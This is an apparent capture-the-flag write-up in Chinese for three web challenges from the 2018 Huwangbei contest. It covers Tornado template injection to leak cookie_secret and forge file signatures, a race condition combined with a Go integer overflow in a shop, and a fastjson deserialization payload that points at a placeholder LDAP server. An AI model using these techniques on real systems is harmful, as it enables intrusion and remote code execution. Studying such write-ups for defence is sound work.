2018護網杯Web題解
題目使用python的tornado框架,且報錯頁面存在 SSTI ,通過 { {handler.settings} } 獲取
然後根據下面的提示,生成對應的md5值,即可兌換flag。
http://49.4.79.120:32271/file?filename=hint.txt&signature=54db05058334f642bf168b66ecf0b154 hint.txt md5(cookie_secret + md5(filename)) http://49.4.79.120:32271/file?filename=flag.txt&signature=189f79ef34db597f63a4e84798077bc7 flag.txt /fllllllllllag
ltshop
又是一個買flag的商城。首先每個使用者都有初始金額:20¥
商城商品如下:
20¥最多買4個大辣條,明顯不夠。嘗試使用條件競爭,買到9包大辣條。
9包大辣條最多也就換1包辣條之王,而且在兌換辣條之王的資料包中有 number 引數,我們可以先 fuzz 引數,看看返回結果是否會不一樣。
可以發現 18446744073709551615 是個臨界值,通過搜尋發現這個數字是mysql中unsign bigint的最大值。一開始我是以為是mysql整數溢位,後來其他師傅說是go的unsigned int溢位。想了一下,確實有道理,因為從COOKIE就可以看出這是一個go語言開發的Web應用程式,如果在mysql裡面發生溢位的話,會直接報錯。
我們可以猜測一下溢位是如何發生的。首先我們通過競爭買了9包大辣條,這個資料便記入資料庫中。當大辣條大於等於5才能進行兌換辣條之王操作。然後Web應用程式接收使用者傳上來的 number 引數,該引數用來表示要兌換的辣條之王數量,然後進行下面的判斷操作:
number×5<使用者擁有的大辣條數量 使用者POST的number乘以5是否小於使用者已有的大辣條數量(競爭來的大辣條)
如果條件成立,才能進行兌換操作。由於我們兌換所需的辣條之王肯定不夠,所以嘗試整數溢位,用 18446744073709551615 除以 5 在加 1 ,這樣就剛好符合條件。
easy_web
javaweb,不會:)。有百度到很像的漏洞: ofollow,noindex">fastjson 遠端反序列化poc的構造和分析 ,然後還是不會。
需要自己搭建一個LDAP/">LDAP伺服器:
{'name':'user','age':18, "@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://x.x.x.x/obj","autoCommit":true}